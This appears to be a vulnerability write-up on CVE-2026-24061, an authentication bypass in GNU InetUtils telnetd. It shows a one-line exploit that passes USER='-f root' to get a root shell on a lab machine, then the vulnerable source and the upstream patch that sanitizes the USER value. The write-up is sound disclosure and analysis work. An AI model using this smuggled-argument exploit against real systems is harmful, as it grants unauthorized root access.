CVE-2026-24061 – GNU InetUtils telnetd Authentication Bypass Vulnerability

```
→ USER='-f root' telnet -a 172.30.124.152
Trying 172.30.124.152...
Connected to 172.30.124.152.
Escape character is '^]'.

Linux 6.1.0-25-amd64 (vbox) (pts/2)

Linux vbox 6.1.0-25-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.106-3 (2024-08-26) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 20 06:06:55 EST 2026 from 172.30.119.38 on pts/2
root@vbox:~#
```

```
root@vbox:~#  /usr/bin/login
vbox login: root
Password:

Login incorrect
vbox login: root
Password:
Linux vbox 6.1.0-25-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.106-3 (2024-08-26) x86_64

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Last login: Fri Feb 20 06:17:14 EST 2026 on pts/1
root@vbox:~# exit
logout
root@vbox:~#
root@vbox:~#
root@vbox:~#  /usr/bin/login -f root
Linux vbox 6.1.0-25-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.106-3 (2024-08-26) x86_64

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Last login: Fri Feb 20 06:17:45 EST 2026 on pts/1
root@vbox:~#
root@vbox:~#
root@vbox:~#
root@vbox:~# exit
logout
root@vbox:~#
```

telnetd/utility.c,

```
        case 'h':
          return xstrdup (remote_hostname);
        case 'l':
          return xstrdup (local_hostname);
        case 'L':
          return xstrdup (line);
        case 't':
          q = strchr (line + 1, '/');
          if (q)
         q++;
          else
         q = line;
          return xstrdup (q);
        case 'T':
          return terminaltype ? xstrdup (terminaltype) : NULL;
        case 'u':
          return user_name ? xstrdup (user_name) : NULL;
        case 'U':
          return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
```

telnetd/utility.c,

```
static char *
sanitize (const char *u)
{
 /* Ignore values starting with '-' or containing shell metachars, as
    they can cause trouble.  */
 if (u && *u != '-' && !u[strcspn (u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
   return u;
 else
   return "";
}
   case 'h':
     return xstrdup (sanitize (remote_hostname));
   case 'l':
     return xstrdup (sanitize (local_hostname));
   case 'L':
     return xstrdup (sanitize (line));
   case 't':
     q = strchr (line + 1, '/');
     if (q)
    q++;
     else
    q = line;
     return xstrdup (sanitize (q));
   case 'T':
     return terminaltype ? xstrdup (sanitize (terminaltype)) : NULL;
   case 'u':
     return user_name ? xstrdup (sanitize (user_name)) : NULL;
   case 'U':
     return xstrdup (sanitize (getenv ("USER")));
```

Fix injection bug with bogus user names

Browse source

```
Problem reported by Kyu Neushwaistein.
* telnetd/utility.c (_var_short_name):
Ignore user names that start with '-' or contain shell metacharacters.

Signed-off-by: Simon Josefsson <simon@josefsson.org>
```

• • •

Paul Eggert last month • committed by **Simon Josefsson**

parent 52d9686c22 commit fd702c0249

Signed by: jas

GPG key ID: 51722B08FE4745A2

± 1 changed files with 8 additions and 1 deletions

9 telnetd/utility.c

Unescape View file

```
@ -1733,7 +1733,14 @@ _var_short_name (struct line_expander *exp)
1733 1733          return user_name ? xstrdup (user_name) : NULL;
1734 1734
1735 1735        case 'U':
1736      -        return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
     1736 +        {
     1737 +      /* Ignore user names starting with '-' or containing shell
     1738 +         metachars, as they can cause trouble.  */
     1739 +      char const *u = getenv ("USER");
     1740 +      return xstrdup ((u && *u != '-'
     1741 +              && !u[strcspn (u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
     1742 +             ? u : "");
     1743 +        }
1737 1744
1738 1745        default:
1739 1746          exp->state = EXP_STATE_ERROR;
```